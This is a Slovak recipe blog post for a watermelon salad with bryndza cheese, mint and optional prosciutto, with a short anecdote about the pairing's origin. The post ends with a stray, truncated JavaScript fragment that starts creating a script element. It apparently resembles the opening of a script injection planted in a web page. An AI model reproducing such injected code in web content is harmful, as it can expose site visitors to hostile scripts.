Melónový šalát s bryndzou a mätou

Čím ďalej tým viac mi dochádza, že leto je naozaj tu :)! Už sa predáva aj červený melóóón <3..

Dnešný receptík nie je ani tak receptík, skôr je to predstavenie kombinácie, o ktorej ste možno ešte nepočuli, alebo by ste ani nikdy nepovedali, že môže byť chutná :P. Slaný syr (niečo ako feta) a melón. Ja viem, znie to naozaj čudne, ale verte mi, je to totálne geniálne.

O tomto kombe som sa dozvedela na Work & Travel v Amerike od svojho šéfa (Turka). Vraj je to u nich jedna z top chuťoviek. A musím povedať, naozaj je. Ja som to však chcela opäť niekam “posúnuť” a skombinovala som to s našou milovanou bryndzou. Dovolím si tvrdiť, že je to možno ešte lepšie :). Slanosť a jemnosť bryndze v krásnom kontraste so sviežim, sladkým melónom. No jednoducho letná topka!

Ako sa dajú krásne skombinovať jednoduché suroviny a vytvoriť fantastické jedlo si určite pozrite vo štvrtok v Masterchefovi ;). Bude to stáť za to..

Ingrediencie: (asi 3 porcie)

• 1 hlava ľadového šalátu
• 250g bryndze (najlepšie májovej ovčej)
• veeeľa melónu (možno tak 500g dužiny)
• olivový olej
• čierne korenie
• čerstvá mäta
• ja som ako doplnok pridala trošku prosciutta – najmä kvôli bielkovinám

Postup:

1. Šalát si nakrájame na jemné prúžky a melón na kocky.
2. Polejeme troškou olivového oleja a premiešame.
3. Na vrch rozdrobíme bryndzu, okoreníme a posypeme mätovými lístkami.
4. No a šalát je hotový :).
5. Dobrú chuť.

 var d=document;var s=d.createElement(‘script’);